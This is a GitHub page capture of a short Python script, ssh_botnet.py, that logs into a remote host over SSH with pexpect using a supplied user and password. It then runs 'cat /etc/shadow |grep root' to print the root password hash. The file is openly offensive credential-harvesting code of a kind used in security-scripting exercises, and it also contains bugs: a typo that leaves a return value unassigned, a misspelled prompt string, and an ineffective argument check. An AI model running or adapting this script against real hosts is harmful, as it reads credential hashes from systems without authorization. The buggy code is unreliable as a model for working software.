-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathssh_botnet.py
More file actions
55 lines (43 loc) · 1.54 KB
/
ssh_botnet.py
File metadata and controls
55 lines (43 loc) · 1.54 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/python3
import pexpect
import argparse
import socket
Prompt=['#','\$','>>>','>']
def connect(user,host,password):
ssh_key='Are you sure you want to continue coonecting '
con='ssh\t'+user+'@'+host
child=pexpect.spawn(con)
ret=child.expect([pexpect.TIMEOUT,ssh_key,'[P|p]ssword :'])
if ret==0:
print('timeout ,error connecting ')
return
if ret==1:
child.sendline('yes')
ret-child.expect([pexpect.TIMEOUT,'[P|p]password:'])
if ret==0:
print('error connecting ')
child.sendline(password)
child.expect(Prompt)
return child
def command(child):
child.sendline('cat /etc/shadow |grep root')
child.expect(Prompt)
print (child.before)
def main():
parser=argparse.ArgumentParser()
parser.add_argument('-H','--host',dest='host',action='store',help='specify the host name ')
parser.add_argument('-p','--password',dest='password',action='store',help='specify the password')
parser.add_argument('-u','--user',dest='user',action='store',help='specify the user')
# parser.add_argument('-c','--command',dest='cmd',action='store',help='specify the command')
args=parser.parse_args()
user=args.user
host=args.host
password=args.password
# cmd=args.cmd
if (user=='NULL') or (host=='NULL') or (password=='NULL') :
print('specify user ,host,password')
else:
child=connect(user,host,password)
command(child)
if __name__=='__main__':
main()